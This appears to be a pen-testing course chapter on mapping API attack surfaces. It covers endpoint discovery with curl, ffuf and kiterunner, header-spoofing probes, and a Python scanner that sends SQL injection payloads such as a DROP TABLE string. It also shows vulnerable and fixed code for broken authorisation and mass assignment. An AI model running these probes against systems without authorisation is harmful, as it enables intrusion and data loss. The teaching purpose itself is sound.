API Attack Surface Analysis
Why Understanding the API Attack Surface Matters
Modern applications are built on APIs. Every mobile app, single-page application, and IoT device communicates through REST, GraphQL, or WebSocket endpoints. But here is the uncomfortable truth: every exposed endpoint is a potential entry point for an attacker.
If you do not know your API attack surface, you cannot defend it. Security teams at companies like Meta, Google, and Stripe invest heavily in attack surface management because they know that unmonitored endpoints are the number one source of data breaches.
Why this matters for your career:
- API security is the #1 topic in modern pen-testing engagements
- Insecure APIs are responsible for 40%+ of data breaches (Gartner)
- Bug bounty programs pay the highest bounties for API vulnerabilities
- Understanding attack surface is the foundation of every security assessment
What Is an API Attack Surface?
An API attack surface is the sum of all accessible endpoints, parameters, authentication mechanisms, and data flows that an attacker can interact with. Think of it as the visible exterior of a building — every door, window, vent, and pipe is a potential entry point.
The Six Core Attack Vectors
1. Endpoint Discovery → Hidden and undocumented APIs
2. Authentication Bypass → JWT / API Key / OAuth flaws
3. Authorization Defects → IDOR, horizontal/vertical privilege escalation
4. Input Validation → SQLi, NoSQLi, Command Injection, SSRF
5. Rate Limiting → Brute force, credential stuffing, DDoS
6. Information Disclosure → Verbose errors, excessive response data
Attack Surface Classification Table
| Attack Surface | What to Check | Risk Level | |:---------------|:--------------|:----------:| | Authentication | JWT signature verification? API Key strength? OAuth redirect URI validation? | 🔴 High | | Authorization | IDOR? Role escalation? Are admin endpoints protected? | 🔴 High | | Input Validation | SQL/NoSQL Injection? SSRF? XXE? Command Injection? | 🔴 High | | Configuration | CORS too permissive? Debug endpoints left open? HTTPS not enforced? | 🟡 Medium | | Business Logic | Can order amounts be modified? Can discounts stack? | 🟡 Medium | | Rate Limiting | Is there a cap on login attempts? Can the API be flooded? | 🟡 Medium |
How to Map an API Attack Surface
Step 1: Discover All Endpoints
Start by finding every API endpoint. Common techniques include:
Swagger/OpenAPI Discovery:
# Check common documentation paths
curl https://api.target.com/swagger.json
curl https://api.target.com/v3/api-docs
curl https://api.target.com/openapi.json
Directory Brute Forcing with ffuf:
ffuf -w /usr/share/wordlists/api_endpoints.txt \
-u https://api.target.com/FUZZ \
-mc 200,401,403
Google Dorking:
site:target.com "api" "swagger"
site:target.com inurl:"/v1/" inurl:"api"
site:target.com "endpoint" "graphql"
Step 2: Analyze Authentication Mechanisms
Once you have the endpoints, classify how each one authenticates:
| Auth Type | What to Check | |-----------|---------------| | JWT Bearer Token | Is the signature verified? Can you use "none" algorithm? Is the secret weak? | | API Key | Is the key in the URL (leaked in logs)? Can it be rotated? | | Basic Auth | Is HTTPS enforced? Is there rate limiting? | | OAuth 2.0 | Is the redirect URI validated? Is the state parameter random? | | Session Cookie | Is the cookie HttpOnly? Secure? SameSite? |
Step 3: Test Input Vectors
For each endpoint, identify all input parameters:
# Check GET parameters
curl "https://api.target.com/users?role=admin&limit=100"
# Check POST body
curl -X POST https://api.target.com/orders \
-H "Content-Type: application/json" \
-d '{"user_id": 1, "price": 0, "quantity": -1}'
# Check headers
curl https://api.target.com/admin \
-H "X-Forwarded-For: 127.0.0.1" \
-H "X-Role: admin"
Practical Example: Building an Attack Surface Scanner
Here is a Python script that automatically discovers and classifies API attack surfaces:
import requests
import json
from urllib.parse import urljoin
class AttackSurfaceScanner:
"""
A scanner that maps API endpoints and classifies attack vectors.
"""
def __init__(self, base_url):
self.base_url = base_url.rstrip("/")
self.endpoints = []
self.vulnerabilities = []
def discover_swagger(self):
"""Try common Swagger/OpenAPI paths."""
paths = [
"/swagger.json", "/swagger/v1/swagger.json",
"/api/swagger.json", "/v2/api-docs",
"/openapi.json", "/api/openapi.json"
]
for path in paths:
url = urljoin(self.base_url, path)
try:
r = requests.get(url, timeout=5)
if r.status_code == 200:
print(f"[+] Found API docs: {url}")
self.endpoints.append({
"source": "swagger",
"url": url,
"data": r.json()
})
except:
pass
def test_idor(self, endpoint, auth_token):
"""Test for Insecure Direct Object Reference."""
headers = {"Authorization": f"Bearer {auth_token}"}
# Try accessing resources belonging to other users
for user_id in [2, 3, 100, 999]:
url = f"{self.base_url}{endpoint}/{user_id}"
try:
r = requests.get(url, headers=headers, timeout=5)
if r.status_code == 200:
print(f"[!] Potential IDOR: {url} returned 200")
self.vulnerabilities.append({
"type": "IDOR",
"endpoint": f"{endpoint}/{user_id}",
"risk": "High",
"description": f"Accessed user {user_id} resource without authorization"
})
except:
pass
def test_sqli(self, endpoint):
"""Test for SQL Injection in query parameters."""
payloads = [
"'", "\"",
"' OR '1'='1",
"' OR '1'='1' --",
"' UNION SELECT NULL, NULL, NULL--",
"1; DROP TABLE users--"
]
for payload in payloads:
url = f"{self.base_url}{endpoint}?id={payload}"
try:
r = requests.get(url, timeout=5)
error_signals = ["sql", "syntax", "mysql", "unexpected", "ORA-"]
if any(sig in r.text.lower() for sig in error_signals):
print(f"[!] SQL Injection detected with payload: {payload}")
self.vulnerabilities.append({
"type": "SQL Injection",
"payload": payload,
"risk": "Critical",
"description": f"Endpoint {endpoint} returns SQL errors"
})
except:
pass
def test_rate_limit(self, endpoint):
"""Check if rate limiting is in place."""
import time
start = time.time()
responses = []
for i in range(100):
try:
r = requests.get(f"{self.base_url}{endpoint}", timeout=5)
responses.append(r.status_code)
except:
pass
elapsed = time.time() - start
if elapsed < 10:
print(f"[!] No rate limiting: 100 requests in {elapsed:.1f}s")
self.vulnerabilities.append({
"type": "Missing Rate Limiting",
"risk": "Medium",
"description": f"100 requests completed in {elapsed:.1f}s without throttling"
})
def run(self):
"""Execute the full attack surface scan."""
print(f"\n{'='*60}")
print(f" API Attack Surface Scan: {self.base_url}")
print(f"{'='*60}\n")
print("[*] Phase 1: Discovering endpoints...")
self.discover_swagger()
print("\n[*] Phase 2: Testing IDOR vulnerabilities...")
self.test_idor("/api/users", "test_token")
print("\n[*] Phase 3: Testing SQL Injection...")
self.test_sqli("/api/search")
print("\n[*] Phase 4: Testing rate limiting...")
self.test_rate_limit("/api/login")
print(f"\n{'='*60}")
print(f" Scan Complete")
print(f" Endpoints mapped: {len(self.endpoints)}")
print(f" Vulnerabilities found: {len(self.vulnerabilities)}")
if self.vulnerabilities:
for v in self.vulnerabilities:
print(f" [{v['risk']}] {v['type']}: {v.get('description', '')}")
print(f"{'='*60}")
if __name__ == "__main__":
scanner = AttackSurfaceScanner("https://api.example.com")
scanner.run()
Expected Output
============================================================
API Attack Surface Scan: https://api.example.com
============================================================
[*] Phase 1: Discovering endpoints...
[+] Found API docs: https://api.example.com/swagger.json
[*] Phase 2: Testing IDOR vulnerabilities...
[!] Potential IDOR: https://api.example.com/api/users/2 returned 200
[*] Phase 3: Testing SQL Injection...
[!] SQL Injection detected with payload: ' OR '1'='1
[*] Phase 4: Testing rate limiting...
[!] No rate limiting: 100 requests in 3.2s
============================================================
Scan Complete
Endpoints mapped: 1
Vulnerabilities found: 3
============================================================
Attack Surface Reduction Strategies
Knowing the attack surface is only half the battle. Here is how to shrink it:
| Strategy | Implementation | Benefit | |:---------|:---------------|:--------| | API Gateway | Kong, AWS API Gateway, NGINX | Single entry point, centralized auth | | Endpoint Minimalism | Remove unused endpoints | Fewer attack vectors | | Input Validation | Schema-based validation (Pydantic, Zod) | Prevents injection attacks | | Authentication at Gateway | Validate tokens before they reach services | Dead-on-arrival attacks blocked | | Rate Limiting | Token bucket algorithm per IP/user | Prevents brute force | | Audit Logging | Log every request with context | Enables breach detection |
Common Pitfalls
| Mistake | Why It Is Dangerous | Fix | |:--------|:-------------------|:----| | Leaving Swagger UI public in production | Anyone can see all endpoints | Restrict to internal network or require auth | | Returning stack traces on errors | Leaks database schema, framework versions | Return generic error messages | | No CORS restrictions | Any website can call your API | Whitelist specific origins | | Using sequential IDs | Enables IDOR enumeration | Use UUIDs or hashed identifiers | | No request size limits | Enables DDoS via large payloads | Set limits in your gateway |
Summary
Understanding the API attack surface is the essential first step of any security assessment. You have learned:
- What the six core attack vectors are: endpoint discovery, authentication bypass, authorization defects, input validation, rate limiting, and information disclosure
- How to discover endpoints: Swagger enumeration, directory brute forcing, and Google dorking
- How to classify authentication mechanisms: JWT, API keys, OAuth, session cookies
- How to build a scanner: Automated IDOR, SQLi, and rate limit testing
- How to reduce the attack surface: API gateways, minimal endpoints, and input validation
What Is Next: JWT Attacks
Now that you have mapped the attack surface, the next chapter focuses on the most common API authentication mechanism — JSON Web Tokens (JWT). You will learn how to forge tokens, exploit the "none" algorithm vulnerability, crack weak secrets, and chain these attacks into full account takeovers.
What Is an API Attack Surface?
The API attack surface is the sum of all endpoints, parameters, headers, and data formats that an attacker can interact with.
Common API Endpoints
| Endpoint | Method | Risk Level |
|----------|--------|------------|
| /api/users | GET | Medium (information disclosure) |
| /api/users/:id | GET | High (IDOR if no auth check) |
| /api/login | POST | High (brute force, injection) |
| /api/upload | POST | High (malicious file upload) |
| /api/graphql | POST | Very High (introspection, batching) |
| /api/admin/* | Any | Critical (privilege escalation) |
Attack Surface Discovery
# Use kiterunner for API discovery
kr kb scan https://api.example.com -w api-routes-small.txt
# Use curl to probe endpoints
for method in GET POST PUT DELETE PATCH; do
response=$(curl -s -o /dev/null -w "%{http_code}" -X $method \
https://api.example.com/api/admin)
echo "$method /api/admin => $response"
done
# Check for Swagger/OpenAPI docs
curl -s https://api.example.com/swagger.json | jq .
curl -s https://api.example.com/api/docs | head -50
curl -s https://api.example.com/.well-known/openid-configuration | jq .
Mapping the Attack Surface
Tools
| Tool | Purpose | |------|---------| | Kiterunner | API route discovery using wordlists | | Postman | Manual API exploration | | Burp Suite | Intercept and analyze API traffic | | curl + jq | Quick scriptable testing | | GraphQL introspection | Discover GraphQL schema |
Discovery Checklist
- [ ] List all API endpoints (documented and undocumented)
- [ ] Identify authentication methods (JWT, API key, Basic auth)
- [ ] Check for Swagger/OpenAPI exposure
- [ ] Test for GraphQL introspection enabled
- [ ] Probe for admin endpoints (/admin, /internal, /private)
- [ ] Check HTTP method override (X-HTTP-Method-Override)
- [ ] Test for CORS misconfiguration
- [ ] Identify rate limiting (or lack thereof)
Common API Security Flaws
Broken Object Level Authorization (BOLA)
// ❌ Vulnerable: no ownership check
app.get('/api/users/:id', async (req, res) => {
const user = await db.findUser(req.params.id);
res.json(user);
});
// ✅ Secure: check ownership
app.get('/api/users/:id', authenticate, async (req, res) => {
const user = await db.findUser(req.params.id);
if (user.id !== req.user.id && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
res.json(user);
});
Mass Assignment
// ❌ Vulnerable: allows setting role
app.put('/api/users/:id', async (req, res) => {
const user = await db.updateUser(req.params.id, req.body);
// Attacker can set {"role": "admin"}
res.json(user);
});
// ✅ Secure: only allow specific fields
const ALLOWED_FIELDS = ['name', 'email', 'avatar'];
app.put('/api/users/:id', authenticate, async (req, res) => {
const updates = {};
for (const field of ALLOWED_FIELDS) {
if (req.body[field] !== undefined) {
updates[field] = req.body[field];
}
}
const user = await db.updateUser(req.params.id, updates);
res.json(user);
});
Summary
Understanding the API attack surface — all endpoints, methods, parameters, and authentication — is the first step in API security testing.
Key takeaways: | API attack surface: all endpoints, methods, params, auth mechanisms | | Discovery: Kiterunner, Burp Suite, curl, Swagger/OpenAPI probes | | Common flaws: BOLA (IDOR), mass assignment, rate limiting, CORS | | BOLA: always check ownership — user can only access own resources | | Mass assignment: whitelist allowed fields, never pass req.body directly | | Always probe for undocumented endpoints and HTTP override headers | | CORS misconfiguration: don't set Access-Control-Allow-Origin to * |
Next Chapter: JWT Attacks
The next chapter covers JWT-specific attacks.